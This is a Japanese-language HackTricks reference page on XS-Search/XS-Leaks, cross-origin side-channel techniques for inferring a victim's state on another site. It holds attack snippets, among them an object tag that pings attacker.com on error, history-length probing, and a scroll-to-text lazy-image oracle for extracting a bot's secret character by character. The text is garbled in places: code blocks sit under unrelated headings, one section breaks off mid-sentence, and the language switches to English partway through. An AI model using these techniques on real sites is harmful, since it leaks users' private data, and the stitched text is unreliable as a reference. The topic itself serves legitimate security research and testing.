hacktricks/pentesting-web/xs-search.md

44 KiB
Raw Blame History

XS-Search/XS-Leaks

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTEHackTricks AWS Red Team Expertで**ゼロからヒーローまでのAWSハッキング**を学びましょう!

HackTricksをサポートする他の方法

基本情報

XS-Searchは、サイドチャネル脆弱性を利用してクロスオリジン情報を抽出するための手法です。

この攻撃に関与する主要なコンポーネントは次のとおりです:

  • 脆弱なWeb: 情報を抽出する対象のWebサイト。
  • 攻撃者のWeb: 攻撃者が作成した悪意のあるWebサイトで、被害者が訪れ、攻撃をホストする。
  • インクルージョンメソッド: 脆弱なWebを攻撃者のWebに組み込むために使用される技術window.open、iframe、fetch、hrefを持つHTMLタグなど
  • リーク技術: インクルージョンメソッドを通じて収集された情報に基づいて脆弱なWebの状態の違いを識別するために使用される技術。
  • 状態: 攻撃者が区別しようとする脆弱なWebの2つの潜在的な状態。
  • 検出可能な違い: 攻撃者が脆弱なWebの状態を推測するために依存する観察可能な変化。

検出可能な違い

脆弱なWebの状態を区別するためにいくつかの側面が分析されます

  • ステータスコード: クロスオリジンでさまざまなHTTP応答ステータスコードを区別することができます。サーバーエラー、クライアントエラー、認証エラーなど。
  • APIの使用: ページ間でWeb APIの使用を特定し、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを明らかにします。
  • リダイレクト: HTTPリダイレクトだけでなく、JavaScriptやHTMLによってトリガーされる異なるページへのナビゲーションを検出します。
  • ページコンテンツ: HTTP応答本体やページのサブリソース埋め込まれたフレームの数や画像のサイズの違いなど変化を観察します。
  • HTTPヘッダー: 特定のHTTP応答ヘッダーX-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなど存在または値に注意します。
  • タイミング: 2つの状態間の一貫した時間の違いに注意します。

インクルージョンメソッド

  • HTML要素: HTMLは、スタイルシート、画像、スクリプトなど、ブラウザに非HTMLリソースのリクエストを要求させるさまざまな要素を提供します。この目的のための潜在的なHTML要素のコンパイルは、https://github.com/cure53/HTTPLeaksで見つけることができます。
  • フレーム: iframeobjectembedなどの要素は、HTMLリソースを攻撃者のページに直接埋め込むことができます。ページにフレーミング保護がない場合、JavaScriptはcontentWindowプロパティを介してフレーム化されたリソースのwindowオブジェクトにアクセスできます。
  • ポップアップ: window.openメソッドは、新しいタブやウィンドウでリソースを開き、SOPに従ってメソッドやプロパティとやり取りするためのウィンドウハンドルを提供します。シングルサインオンでよく使用されるポップアップは、対象リソースのフレーミングやクッキー制限を回避します。ただし、現代のブラウザはポップアップの作成を特定のユーザーアクションに制限しています。
  • JavaScriptリクエスト: JavaScriptは、XMLHttpRequestFetch APIを使用して対象リソースに直接リクエストを行うことができます。これらのメソッドは、HTTPリダイレクトのフォローアップなど、リクエストに対する正確な制御を提供します。

リーク技術

  • イベントハンドラ: XS-Leaksの古典的なリーク技術であり、onloadonerrorなどのイベントハンドラは、リソースの読み込みの成功または失敗に関する洞察を提供します。
  • エラーメッセージ: JavaScriptの例外や特別なエラーページは、エラーメッセージ自体からまたはその存在と不在の違いからリーク情報を提供することができます。
  • グローバルリミット: ブラウザの物理的制限(メモリ容量など)は、閾値に達したときに信号を送ることができ、リーク技術として機能します。
  • グローバルステート: ブラウザのグローバルステート(履歴インターフェースなど)との検出可能な相互作用を悪用することができます。たとえば、ブラウザの履歴に含まれるエントリの数は、クロスオリジンページに関する手がかりを提供する可能性があります。
  • Performance API: このAPIは、現在のページのパフォーマンスの詳細を提供し、ドキュメントや読み込まれたリソースのネットワークタイミングを含め、リクエストされたリソースに関する推論を可能にします。
  • 読み取り可能な属性: 一部のHTML属性はクロスオリジンで読み取り可能であり、リーク技術として使用できます。たとえば、window.frame.lengthプロパティは、クロスオリジンのWebページに含まれるフレームの数をJavaScriptで数えることができます。

XSinatorツール論文

XSinatorは、その論文で説明されているいくつかの既知のXS-Leaksに対してブラウザをチェックする自動ツールです:https://xsinator.com/paper.pdf

ツールには、https://xsinator.com/でアクセスできます

{% hint style="warning" %} 除外されたXS-Leaks: 他のXSinatorのリークと干渉する可能性があるため、サービスワーカーに依存するXS-Leaksを除外する必要がありました。さらに、特定のWebアプリケーションのミス構成やバグに依存するXS-Leaksも除外することにしました。たとえば、Cross-Origin Resource SharingCORSの誤構成、postMessageの漏洩、Cross-Site Scriptingなど。さらに、時間ベースのXS-Leaksも除外しました。なぜなら、それらはしばしば遅く、騒々しく、正確性に欠けるからです。 {% endhint %}

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

タイミングベースの技術

以下のいくつかの技術は、Webページの可能な状態の違いを検出するプロセスの一部として、タイミングを使用します。Webブラウザで時間を測定するさまざまな方法があります。

クロック: performance.now() APIを使用すると、高解像度のタイミング測定を取得できます。
攻撃者が暗黙のクロックを作成するために悪用できるAPIは多数ありますBroadcast Channel APIMessage Channel APIrequestAnimationFramesetTimeout、CSSアニメーションなど。
詳細については、https://xsleaks.dev/docs/attacks/timing-attacks/clocksを参照してください。

イベントハンドラ技術

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

コード例では、JSからスクリプトオブジェクトを読み込もうとしますが、他のタグ(オブジェクト、スタイルシート、画像、音声など)も使用できます。さらに、タグを直接挿入して、タグ内にonloadonerrorイベントを宣言することも可能です。

この攻撃にはスクリプトレスバージョンもあります。

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

この技術は前のものと同様ですが、attackerpositiveまたはnegativeの回答時に関連する時間をかけていくつかのアクションを強制し、その時間を測定します。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

リソースを取得するのにかかる時間は、unloadbeforeunload イベントを利用して測定できます。beforeunload イベントはブラウザが新しいページに移動しようとしているときに発生し、unload イベントは実際の移動が行われているときに発生します。これら2つのイベントの時間差を計算することで、ブラウザがリソースを取得するのに費やした時間を判断できます。

Sandboxed Frame Timing + onload

Framing Protectionsがない場合、ページとそのサブリソースがネットワーク上で読み込まれるのにかかる時間を攻撃者が測定できることが観察されています。これは通常、iframeのonloadハンドラがリソースの読み込みとJavaScriptの実行が完了した後にトリガーされるため可能です。スクリプトの実行によって導入される変動をバイパスするために、攻撃者は<iframe>内でsandbox属性を使用することがあります。この属性の追加により、JavaScriptの実行を含む多くの機能が制限され、主にネットワークのパフォーマンスに影響を受ける測定が容易になります。

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + エラー + onload

  • Inclusion Methods: フレーム
  • Detectable Difference: ページコンテンツ
  • More info:
  • Summary: 正しいコンテンツにアクセスしたときにページにエラーを発生させ、任意のコンテンツにアクセスしたときに正しく読み込まれるようにすることができれば、時間を計測せずにすべての情報を抽出するためのループを作成できます。
  • Code Example:

ページに秘密のコンテンツを挿入できると仮定します。Iframe内に。

被害者に「flag」を含むファイルを検索させることができますたとえばCSRFを悪用。Iframe内では、_onload イベント_が常に少なくとも1回実行されることがわかります。その後、URLのハッシュコンテンツだけを変更して、iframeURLを変更できます。

例:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

最初のURLが正常に読み込まれた場合、URLのハッシュ部分を変更してもonloadイベントは再度トリガーされません。しかし、ページが読み込み時にエラーがあった場合、onloadイベントは再度トリガーされます。

その後、正しく読み込まれたページとアクセス時にエラーがあるページを区別することができます。

Javascript Execution

  • Inclusion Methods: フレーム
  • Detectable Difference: ページコンテンツ
  • More info:
  • Summary: ページ機密情報返すか、ユーザーが制御可能なコンテンツ返す場合。ユーザーは負の場合に有効なJSコードを設定し、各試行を**<script>タグ内でロードすることができます。したがって、負の場合は攻撃者のコードが実行され、肯定的な場合は何も**実行されません。
  • Code Example:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Inclusion Methods: HTML要素
  • Detectable Difference: ステータスコード&ヘッダー
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) は、Spectreなどの攻撃から保護するために特定の機密なクロスオリジンリソースの読み込みを防ぐセキュリティ対策です。しかし、攻撃者はその保護機能を悪用することができます。CORBに従う応答がCORBで保護されたContent-Typenosniffを持つ2xxステータスコードを返すと、CORBは応答の本文とヘッダーを削除します。これを観察する攻撃者は、ステータスコード(成功またはエラーを示す)とContent-TypeCORBで保護されているかどうかを示す)の組み合わせを推測し、潜在的な情報漏洩を引き起こす可能性があります。
  • Code Example:

攻撃に関する詳細情報については、リンクを確認してください。

onblur

iframe内にページロードし、#id_valueを使用して、iframe内の要素にフォーカスさせることができます。その後、**onblur**シグナルがトリガーされると、ID要素が存在することがわかります。
**portal**タグでも同じ攻撃を実行できます。

postMessage Broadcasts

  • Inclusion Methods: フレーム、ポップアップ
  • Detectable Difference: APIの使用
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: postMessageから機密情報を収集するか、postMessagesの存在をオラクルとして使用してユーザーのページ内の状態を知ることができます。
  • Code Example: すべてのpostMessageをリッスンするコード。

アプリケーションは異なるオリジン間で通信するために頻繁にpostMessageブロードキャストを使用します。ただし、targetOriginパラメータが適切に指定されていない場合、この方法は機密情報を誤って公開する可能性があります。さらに、メッセージを受信するだけでもオラクルとして機能することができます。たとえば、特定のメッセージはログインしているユーザーにのみ送信される場合があります。したがって、これらのメッセージの存在または不在により、ユーザーの状態やアイデンティティに関する情報が漏洩する可能性があります。

```javascript // Code saved here in case it dissapear from the link // Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/ window.addEventListener("load", startup, false); function displayErrorMessage(msg) { document.getElementById("log").innerHTML += msg; }

function startup() { let audioElement = document.getElementById("audio"); // "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3"; document.getElementById("startTest").addEventListener("click", function() { audioElement.src = document.getElementById("testUrl").value; }, false); // Create the event handler var errHandler = function() { let err = this.error; let message = err.message; let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed" // Firefox error.message when the request loads successfully: "Failed to init decoder" if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){ status = "Success"; }else{ status = "Error"; } displayErrorMessage("Status: " + status + " (Error code:" + err.code + " / Error Message: " + err.message + ")
"); }; audioElement.onerror = errHandler; }

### CORSエラー

* **含有方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要**: セキュリティアサーションSAにおいて、CORSエラーメッセージが誤ってリダイレクトされたリクエストの完全なURLを公開してしまう。
* **コード例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

この技術は、WebkitベースのブラウザがCORSリクエストを処理する方法を悪用し、**CORS対応リクエスト**がユーザーの状態に基づいてリダイレクトを行うターゲットサイトに送信され、ブラウザがそのリクエストを拒否した場合、エラーメッセージ内にリダイレクト先の**完全なURL**が開示されることで、攻撃者は**クロスオリジンサイトのリダイレクト先を抽出**することができます。この脆弱性により、リダイレクトの事実だけでなく、リダイレクトのエンドポイントとそれが含む可能性のある**機密クエリパラメータ**も公開されます。

### SRIエラー

* **含有方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要**: セキュリティアサーションSAにおいて、SRIエラーメッセージが誤ってリダイレクトされたリクエストの完全なURLを公開してしまう。
* **コード例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

攻撃者は、**冗長なエラーメッセージ**を悪用して、クロスオリジンの応答のサイズを推測することができます。これは、Subresource IntegritySRIのメカニズムが、CDNから頻繁に取得されるリソースが改ざんされていないことを検証するために整合性属性を使用するためです。SRIがクロスオリジンリソースで機能するためには、これらが**CORS対応**である必要があります。セキュリティアサーションSAでは、CORSエラーXS-Leakと同様に、整合性属性を持つフェッチリクエスト後にエラーメッセージをキャプチャすることができます。攻撃者は、任意のリクエストの整合性属性に**虚偽のハッシュ値**を割り当てることで、故意に**このエラーをトリガー**することができます。SAでは、結果として得られるエラーメッセージが、リクエストされたリソースのコンテンツ長を誤って明らかにします。この情報漏洩により、攻撃者は応答サイズの変化を識別し、洗練されたXS-Leak攻撃の道を開くことができます。
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

フレームカウント

Web 上で iframewindow.open を介して開かれた web のフレームの数を数えることは、そのページ上のユーザーの状態を特定するのに役立つかもしれません。
さらに、ページに常に同じ数のフレームがある場合、継続的にフレームの数をチェックすることで、情報が漏洩する可能性がある パターン を特定するのに役立つかもしれません。

この技術の例として、Chrome では embed が内部で使用されるため、 PDFフレームカウント検出 できます。 zoomviewpagetoolbar などの Open URL パラメータ があり、この技術は興味深いかもしれません。

HTMLElements

HTML 要素を介した情報漏洩は、特に動的メディアファイルがユーザー情報に基づいて生成される場合や、ウォーターマークが追加され、メディアサイズが変更される場合に、Web セキュリティ上の懸念事項です。これは、特定の HTML 要素によって公開される情報を分析することで、攻撃者が可能な状態を区別するために悪用することができます。

HTML 要素によって公開される情報

  • HTMLMediaElement: この要素はメディアの durationbuffered 時間を公開し、その API を介してアクセスできます。 HTMLMediaElement について詳しく読む
  • HTMLVideoElement: videoHeightvideoWidth を公開します。一部のブラウザでは、webkitVideoDecodedByteCountwebkitAudioDecodedByteCountwebkitDecodedFrameCount などの追加のプロパティが利用可能で、メディアコンテンツについてより詳細な情報を提供します。 HTMLVideoElement について詳しく読む
  • getVideoPlaybackQuality(): この関数は、totalVideoFrames を含むビデオ再生品質に関する詳細を提供し、処理されたビデオデータの量を示すことができます。 getVideoPlaybackQuality() について詳しく読む
  • HTMLImageElement: この要素は画像の heightwidth を漏洩します。ただし、画像が無効な場合、これらのプロパティは 0 を返し、image.decode() 関数は画像を正しく読み込めなかったことを示すために拒否されます。 HTMLImageElement について詳しく読む

CSS プロパティ

Web アプリケーションは、ユーザーの状態に応じてウェブサイトのスタイリングを変更することがあります。クロスオリジン CSS ファイルは、HTML リンク要素を使用して攻撃者ページに埋め込まれ、その ルール が攻撃者ページに 適用 されます。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの 違い検出 することができます。
漏洩技術として、攻撃者は特定の HTML 要素の CSS プロパティを 読み取る ために window.getComputedStyle メソッドを使用できます。その結果、影響を受ける要素とプロパティ名がわかっていれば、攻撃者は任意の CSS プロパティを読み取ることができます。

CSS 履歴

{% hint style="info" %} こちら によると、ヘッドレス Chrome では機能しないそうです。 {% endhint %}

CSS の :visited セレクタは、ユーザーが以前に訪れた URL を異なるスタイルで表示するために使用されます。以前は、getComputedStyle() メソッドを使用してこれらのスタイルの違いを特定することができました。しかし、現代のブラウザは、このメソッドがリンクの状態を明らかにするのを防ぐためのセキュリティ対策を実装しています。これには、常にリンクが訪れたときの計算されたスタイルを返し、:visited セレクタで適用できるスタイルを制限するという措置が含まれます。

これらの制限にもかかわらず、リンクの訪問状態を間接的に特定することは可能です。ユーザーを CSS に影響を受ける領域とやり取りさせるテクニックの1つは、特に mix-blend-mode プロパティを使用することです。このプロパティは、要素を背景と混合することを可能にし、ユーザーの操作に基づいて訪問状態を明らかにする可能性があります。

さらに、ユーザーの操作なしに検出を行うことも可能です。リンクのレンダリングタイミングを悪用することで、訪れたリンクと未訪問リンクをブラウザが異なる方法でレンダリングする可能性があるため、レンダリングに時間差が生じる可能性があります。Chromium のバグレポートには、このテクニックを使用して訪問状態をタイミング分析を通じて検出するために複数のリンクを使用する証拠が示されています。

これらのプロパティや方法の詳細については、それぞれのドキュメントページをご覧ください:

ContentDocument X-Frame Leak

Chrome では、X-Frame-Options ヘッダーが "deny" または "same-origin" に設定されたページがオブジェクトとして埋め込まれると、エラーページが表示されます。Chrome は、他のブラウザとは異なり、このオブジェクトの contentDocument プロパティに対して null ではなく空のドキュメントオブジェクトを返します。開発者が X-Frame-Options ヘッダーを一貫して設定せず、エラーページを見落とすことが多いため、攻撃者はこの空のドキュメントを検出して、ユーザーの状態に関する情報を漏洩させる可能性があります。このような漏洩を防ぐためには、セキュリティヘッダーの意識と一貫した適用が重要です。

ダウンロード検出

Content-Disposition ヘッダー、特に Content-Disposition: attachment は、ブラウザにコンテンツをインライン表示するのではなくダウンロードするよう指示します。この動作を利用して、ファイルダウンロードをトリガーするページにアクセスできるかどうかを検出することができます。Chromium ベースのブラウザでは、次のようないくつかのテクニックを使用してこのダウンロード動作を検出できます。

  1. ダウンロードバーの監視:
  • Chromium ベースのブラウザでファイルをダウンロードすると、ブラウザウィンドウの下部にダウンロードバーが表示されます。
  • ウィンドウの高さの変化を監視することで、ダウンロードバーが表示されたことを推測し、ダウンロードが開始されたことを示唆することができます。
  1. iframe を使用したダウンロードナビゲーション:
  • ページが Content-Disposition: attachment ヘッダーを使用してファイルダウンロードをトリガーすると、ナビゲーションイベントが発生しません。
  • iframe にコンテンツを読み込み、ナビゲーションイベントを監視することで、コンテンツの配置がファイルダウンロードを引き起こすかどうかを確認できます(ナビゲーションは発生しません)。
  1. iframe を使用しないダウンロードナビゲーション:
  • iframe の代わりに window.open を使用するこの方法では、新しく開かれたウィンドウでナビゲーションイベントを監視します。ファイルダウンロードがトリガーされたかどうか(ナビゲーションが発生しない)や、コンテンツがインラインで表示されるかどうかを確認できます。

これらのテクニックは、通常、ログイン済み

<img src=/something loading=lazy >

したがって、できることは、多くのジャンク文字を追加することです(たとえば何千もの"W")。秘密の前にWebページを埋めるか、 <br><canvas height="1850px"></canvas><br>のようなものを追加します。
その後、たとえばインジェクションがフラグの前に現れる場合、画像読み込まれますが、フラグの後に現れる場合、フラグとジャンクが読み込まれないように防ぎます(どれだけのジャンクを配置するかを調整する必要があります)。これはこの解説で起こったことです。

もう1つのオプションは、許可されている場合にscroll-to-text-fragmentを使用することです:

Scroll-to-text-fragment

ただし、ボットがページにアクセスするようにします

#:~:text=SECR

So the web page will be something like: https://victim.com/post.html#:~:text=SECR

Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.

What this text will do is to make the bot access any text in the page that contains the text SECR. As that text is the secret and it's just below the image, the image will only load if the guessed secret is correct. So there you have your oracle to exfiltrate the secret char by char.

Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

If it's not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the solution of this writeup sumarized here:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

If jQuery(location.hash) is used, it's possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main'] doesn't match it doesn't need to check the rest of the selectors:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

防御

https://xsinator.com/paper.pdfにおいて推奨される緩和策があり、またhttps://xsleaks.dev/の各セクションにもあります。これらのテクニックに対抗する方法についての詳細はそちらを参照してください。

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert!

HackTricksをサポートする他の方法:


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}